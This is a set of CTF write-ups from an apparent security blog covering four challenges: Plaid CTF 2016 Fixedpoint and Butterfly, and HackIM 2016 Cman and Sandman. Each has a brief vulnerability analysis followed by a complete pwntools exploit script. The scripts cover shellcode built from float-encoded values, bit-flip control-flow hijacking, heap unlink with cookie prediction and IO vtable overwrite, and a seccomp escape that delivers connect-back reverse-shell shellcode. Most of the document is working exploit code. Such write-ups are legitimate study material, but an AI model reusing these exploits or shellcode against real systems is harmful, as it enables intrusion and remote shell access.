Tuesday, April 19, 2016

Plaid CTF 2016 - Fixedpoint

The binary simply reads integers from user, performs floating point operations on it and stores it in a mmap'ed region with RWX permission. Finally, the mmap'ed region with floating point numbers is executed. We need to supply inputs such that, it transforms to valid shellcode. To solve this, we disassembled floating point values for each of possible values using capstone. Then grepped for needed instructions to chain them together to call execve('/bin/sh', 0, 0)

#include <stdio.h>
#include <string.h>
#include <capstone/capstone.h>

// gcc -std=c99 -o fixedpoint_disass fixedpoint_disass.c -lcapstone

int disass(unsigned int num, char *code) 
{
    csh handle;
    cs_insn *insn;
    size_t count = 0;
    size_t inssz = 0;

    if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) 
        return EXIT_FAILURE;

    count = cs_disasm(handle, code, sizeof(float), 0, 0, &insn);

    if (count > 0) {

        for (int i = 0; i < count; i++) inssz += insn[i].size;

        // check if all bytes are disassembled
        if (inssz == sizeof(float)) {

            for (int i = 0; i < count; i++) 
                printf("%d :\t%s\t\t%s\n", num, insn[i].mnemonic, insn[i].op_str);
        }

        cs_free(insn, count);
    }

    cs_close(&handle);
    return 0;
}


int main(int argc, char **argv)
{
    if (argc != 3) exit(EXIT_FAILURE);

    unsigned int from = atoi(argv[1]);
    unsigned int till = atoi(argv[2]);
    char opcode[8] = {0};
    float bytes;

    for (unsigned int num = from; num <= till; num++) {
        bytes = num/1337.0;
        memcpy(opcode, (char *)&bytes, sizeof(float));
        disass(num, opcode); 
    }

    return 0;
}

Below is the payload:
#!/usr/bin/env python

from pwn import *

HOST = '127.0.0.1'
HOST = 'fixedpoint.pwning.xxx'
PORT = 7777
context.arch = 'x86_64'

soc = remote(HOST, PORT)

"""
134498: xchg  eax, edi
134498: xor  ecx, ecx
134498: inc  edx
"""
soc.sendline('134498')

"""
100487: das  
100487: push  ecx
100487: xchg  eax, esi
100487: inc  edx
"""
soc.sendline('100487')

# set space for /bin/sh
soc.sendline('100487')
soc.sendline('100487')

"""
146531: xchg  eax, edi
146531: xor  ebx, ebx
146531: inc  edx
"""
soc.sendline('146531')

"""
562055: dec  esi
562055: xor  edx, edx
562055: inc  ebx
"""
soc.sendline('562055')

"""
233578: cld  
233578: mov  bl, 0x2e
233578: inc  ebx
"""
soc.sendline('233578')

"""
198025: mov  byte ptr [esp + edx], bl
198025: inc  ebx
"""
soc.sendline('198025')

"""
2238: inc  eax
2238: inc  edx
2238: salc  
2238: aas 
"""
soc.sendline('2238')

"""
301765: cld  
301765: mov  bl, 0x61
301765: inc  ebx
"""
soc.sendline('301765')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
311124: cld  
311124: mov  bl, 0x68
311124: inc  ebx
"""
soc.sendline('311124')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
317809: cld  
317809: mov  bl, 0x6d
317809: inc  ebx
"""
soc.sendline('317809')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
233578: cld             
233578: mov             bl, 0x2e
233578: inc             ebx
"""
soc.sendline('233578')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
324494: cld  
324494: mov  bl, 0x72
324494: inc  ebx
"""
soc.sendline('324494')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
309787: cld  
309787: mov  bl, 0x67
309787: inc  ebx
"""
soc.sendline('309787')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')

"""
152108: dec  ecx
152108: mov  ebx, esp
152108: inc  edx
"""
soc.sendline('152108')

"""
134498: xchg            eax, edi
134498: xor             ecx, ecx
134498: inc             edx
"""
soc.sendline('134498')

"""
100487: das             
100487: push            ecx
100487: xchg            eax, esi
100487: inc             edx
"""
soc.sendline('100487')
# for pop edx
soc.sendline('100487')

"""
151060: cmc  
151060: mul  ecx
151060: inc  edx
"""
soc.sendline('151060')

"""
46691: pop  ecx
46691: mov  al, 0xb
46691: inc  edx
"""
soc.sendline('46691')

"""
9464 : pop  edx
9464 : and  edx, 0x40
"""
soc.sendline('9464')

"""
1377666: dec  edi
1377666: int  0x80
1377666: inc  esp
"""
soc.sendline('1377666')
soc.sendline('DONE')
soc.recvline()

soc.interactive()
# PCTF{why_isnt_IEEE_754_IEEE_7.54e2}

Plaid CTF 2016 - Butterfly

butterfly is a 64 bit executable with NX and stack canaries enabled.

[+] The binary reads 50 bytes through fgets, converts it to integer(address) using strtol
[+] This address is page aligned and made writable using mprotect
[+] The address is processed and then used for bit flip
[+] mprotect is called again to remove write permissions

So, we need to use the bit flip to gain control of execution. Below are the bit flips done in sequence to get code execution:

[+] 0x0400860 add rsp,0x48 -> push 0x5b48c483. This will point RSP into the fgets buffer on return from function
[+] Then return to 0x04007B8 to achieve multiple bit flips
[+] Bypass stack canary check by flipping, 0x40085b jne stack_check_fail -> 0x40085b je stack_check_fail
[+] Modify second mprotect call's argument to keep the RWX permission, 0x40082f mov edx,0x5 -> mov edx,0x7
[+] Modify first mproect call's argument as, 0x4007ef mov r15,rbp -> mov r15,r13. Since r13 holds an address in stack, this will make stack RWX
[+] Send the shellcode in next call to fgets and return to 0x400993 [jmp rsp] to execute the shellcode

Below is the exploit:

#!/usr/bin/env python

from pwn import *

HOST = '127.0.0.1'
HOST = 'butterfly.pwning.xxx'
PORT = 9999
context.arch = 'x86_64'

soc = remote(HOST, PORT)
soc.recvline()

def send_payload(address_to_flip, address_to_ret, shellcode = ''):
    global soc
    payload  = str(address_to_flip) + chr(0) 
    payload += "A" * (8 - (len(payload) % 8))
    payload += p64(address_to_ret)
    payload += shellcode
    soc.sendline(payload)
    soc.recvline()

# add rsp, 0x48
send_payload(33571589, 0x4007B8)

# jnz short stack_check_fail
send_payload(33571544, 0x4007B8)

# mov edx, 5
send_payload(33571201, 0x4007B8)

# mov r15, rbp
send_payload(33570682, 0x4007B8)

# make stack executable and jump to shellcode
shell = asm(shellcraft.amd64.linux.sh())
send_payload(33571864, 0x400993, shell)

soc.interactive()
# PCTF{b1t_fl1ps_4r3_0P_r1t3}

Wednesday, February 3, 2016

HackIM CTF 2016 - Exploitation 300 - Cman

Cman is a 64 bit statically linked and stripped ELF without NX protection. I used IDA's sigmake to generate libc signatures for this binary. The program is a contact manager providing options to add, delete, edit contacts etc.

Function @00000000004021CA reads option from user and calls the necessary functions:
A = ADD_CONTACT@00000000004019B4
D = DELETE_CONTACT@0000000000401C0D
E = EDIT_CONTACT@0000000000401EBD
X = EXIT@000000000040105E
L = LIST_CONTACT@00000000004016E2
S = MANAGE_CONTACT@0000000000401F2D
MANAGE_CONTACT provides many other options
d - delete 
e - edit
p - previous
n - next
q - quit
s - show
Contacts are saved in structures connected using doubly linked list data strucure. Below is the structure being used:
struct contact {
 char fname[64];
 char lname[64];
 char phone[14];
 char header[4];
 char gender[1];
 char unused[1];
 char cookie[4];
 long int empty;
 struct contact *prev;
 struct contact *next; 
};
The pointer @00000000006C3D58 points to head of doubly linked list. This turned out to be useful for exploitation. The program performs two initialization operations - setup a cookie value and add couple of contacts to the manager.

Cookie is set using functions @000000000040216D and @0000000000401113. The algorithm for cookie generation depends on current time.
char cookie[4];
secs = time(0);
_srandom(secs);

for (count = 0; count < sz; count++) {
    cookie[count] = rand();
}
cookie |= 0x80402010
Analyzing the function @0000000000401C5E used for editing a contact, I found a bug.
write("New last name: ");
read(&user_input, 64, 0xA);
......
write("New phone number: ");
read(&user_input, 14, 0xA); // fill the entire 14 bytes so that there is no NUL termination
    
if (user_input) {
   memset(object + 128, 0, 16);
   sz = strlen(&user_input);
   if ( sz > 16 ) sz = 64; // size becomes > 16 as strlen computes length on non-NUL terminated string from last name
   memcpy(object + 128, &user_input, sz); // overflows entries in chunk and corrupts heap meta data
}
Everytime the contact is edited, the cookie value in structure is checked for corruption:
if ( *(object + 148) != COOKIE ) {
    IO_puts("** Corruption detected. **");
    exit(-1);
}
To exploit this bug and overwrite the prev and next pointers of structure, cookie check needs to be bypassed. Note that cookie is generated based on current time as time(0). Checking the remote server time as below, I found that the epoch time is same as mine [Time=56ACC320].
nmap -sV 52.72.171.221 -p 22
SF-Port22-TCP:V=6.40%I=7%D=1/30%Time=56ACC320%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\.4\r\n"); 
So cookie value can be found by guessing the time, thus overflowing the prev and next pointers. Then doubly linked list delete operation can be triggered to get a write-anything-anywhere primitive. Since the binary is statically linked, one cannot target GOT entries as we do normally. So I started looking for other data structures in binary

_IO_puts was making the below call:
.text:0000000000409FF7 mov     rax, [rdi+0D8h]
.text:0000000000409FFE mov     rdx, rbp
.text:000000000040A001 mov     rsi, r12
.text:000000000040A004 call    qword ptr [rax+38h] 
This code is coming as part of call to _IO_sputn (_IO_stdout, str, len). RDI points to struct _IO_FILE_plus(_IO_stdout) in .data segment, which holds pointer to struct _IO_jump_t
struct _IO_FILE_plus
{
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

struct _IO_jump_t
{
    JUMP_FIELD(_G_size_t, __dummy);
    #ifdef _G_USING_THUNKS
        JUMP_FIELD(_G_size_t, __dummy2);
    #endif
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);  // this gets called
So the idea here is to overwrite the vtable pointer with address of contact_head_ptr(.bss) - 0x38. So call qword ptr [rax+38h] will land in contact[0].fname thus directly bypassing ASLR to execute shellcode.

Note that, function checking for valid names, checks only the first character
bool check_name(char *name) {
  return *name > '@' && *name <= 'Z';
}
Below is the full exploit:
#!/usr/bin/env python

from pwn import *
import ctypes
import random

HOST = '52.72.171.221'
HOST = '127.0.0.1'
PORT = 9983
context.arch = 'x86_64'

libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def get_local_time(): return libc.time(0)

def get_cookie(time):
    libc.srandom(time)
    cookie = 0
    for x in range(4):
        random  = libc.rand() & 0xff
        cookie |= (random << (8 * x))
    cookie |= 0x80402010
    return p32(cookie)

def add_node(soc, fname, lname, number, gender):
    soc.sendline("A")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)
    soc.sendlineafter("Phone Number: ", number)
    soc.sendlineafter("Gender: ", gender)

def edit_node(soc, fname, lname, new_fname, new_lname, new_number, new_gender):
    soc.sendline("E")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)
    soc.recvline()
    soc.sendlineafter("New first name: ", new_fname)
    soc.sendlineafter("New last name: ", new_lname)
    soc.sendlineafter("New phone number: ", new_number)
    soc.sendlineafter("New gender: ", new_gender)

def delete_node(soc, fname, lname):
    soc.sendline("D")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)

while True:
    local_time = get_local_time()
    cookie = get_cookie(local_time + random.randint(0,5))
    soc = remote(HOST, PORT)
    soc.recvline()

    # edit already existing node to add shellcode
    fname = "Robert"
    lname = "Morris"
    new_fname  = "P" + asm(shellcraft.amd64.linux.sh())
    new_lname  = lname
    new_number = "(123)123-1111"
    edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')

    # create a new node to overflow
    fname = "A"*8
    lname = fname 
    number = "(123)123-1111"
    add_node(soc, fname, lname, number, 'M')

    # overflow node
    new_fname = fname
    head_ptr = 0x6C3D58
    prev_ptr = p64(head_ptr - 0x38)
    
    # _IO_puts calls _IO_sputn
    # .text:0000000000409FF7 mov     rax, [rdi+0D8h]
    # .text:0000000000409FFE mov     rdx, rbp
    # .text:000000000040A001 mov     rsi, r12
    # .text:000000000040A004 call    qword ptr [rax+38h]
    # RDI points to struct _IO_FILE_plus(_IO_stdout), which holds pointer to struct _IO_jump_t
    # overwrite pointer to _IO_jump_t with address of head node ptr-0x38 

    IO_FILE_plus = 0x6C2498
    next_ptr = p64(IO_FILE_plus - 0xA0)
    chunk_sz = p64(0xC1)[:-1]

    new_lname = "C"*20 + cookie + p64(0) + prev_ptr + next_ptr + p64(0) + chunk_sz
    new_number = "(123)123-11111"
    edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')

    res = soc.recvline().strip()
    if res == "** Corruption detected. **": soc.close()
    else: break

print "[+] Found Cookie : %x" % u32(cookie)

# trigger overwrite due to linked list operation
delete_node(soc, fname, lname)

print "[+] Getting shell"
soc.interactive()

# flag-{h34pp1es-g3771ng-th3r3}

HackIM CTF 2016 - Exploitation 200 - Sandman

sandman is a 64 bit ELF without much memory protections
$ checksec --file ./sandman
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   ./sandman
sandman binary spawns a child process using fork. Parent and child could communicate via pipes. The parent process creates memory page with RWX permission of user specified size and reads data into it. SECCOMP is used to allow only a white list of syscalls - read, write, exit. After this the mmap region is called to execute supplied code.

Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.

The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
len = strlen((user_input + 7));
strncpy(&dest, (user_input + 7), len);
So the idea of exploit is to use write syscalls in parent process to communicate with child to trigger the buffer overflow. Also there is no seccomp protection in child process. Since child is spawned using fork, RSP from parent could be used to compute the buffer address pointing to shellcode in child by a fixed offset thus bypassing ASLR. Below is the exploit:
#!/usr/bin/env python

from pwn import *

HOST = "52.72.171.221"
HOST = "127.0.0.1"
PORT = 9982
conn = remote(HOST, PORT)
context.arch = 'x86_64'

sc  = shellcraft.amd64.linux.syscall('SYS_alarm', 0) 
sc += shellcraft.amd64.linux.connect('127.1.1.1', 12345) 
sc += shellcraft.amd64.linux.dupsh()
sc  = asm(sc)

def gen_payload(sc):
    # pad for QWORDs
    sc += asm("nop") * (8 - (len(sc) % 8))
    payload = ''
    # generate mov rbx, QWORD; push rbx; sequence
    for i in range(0, len(sc), 8):
        qword = u64(sc[i:i+8])
        payload = asm("mov rbx, %d" % (qword)) + asm("push rbx") + payload
    return payload, len(sc)/8

pipe = 0x5
pipe = 0x4

size = p32(8092)
conn.send(size)

# send choice
shellcode  = asm("push 0xe")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 1))

# send size
shellcode += asm("push 0x1000")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 4))

# prepare payload for buffer overflow
# new line
shellcode += asm("mov rbx, 0x0a0a0a0a0a0a0a0a")
shellcode += asm("push rbx")

# padding for 4096 bytes
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 440

# RIP overwrite + ASLR bypass
shellcode += asm("mov rbx, rsp")
shellcode += asm("add rbx, 0xb20")
shellcode += asm("shr rbx, 0x8")
shellcode += asm("push rbx")

# last byte of address
shellcode += asm("mov rbx, 0xffffffffffffffff")
shellcode += asm("push rbx")

# fill buffer
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 5

# connect back shellcode
execve, qwords = gen_payload(sc)
shellcode += execve

# NOPs
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * (63 - qwords)

# HTTP header
shellcode += asm("mov rbx, 0x902f2f3a70747468")
shellcode += asm("push rbx")

# write payload
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 0x1000))

# exit
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_exit', 0))

shellcode += asm("nop") * (8091 - len(shellcode))
conn.send(shellcode + chr(0xa))

# flag-{br3k1ng-b4d-s4ndm4n}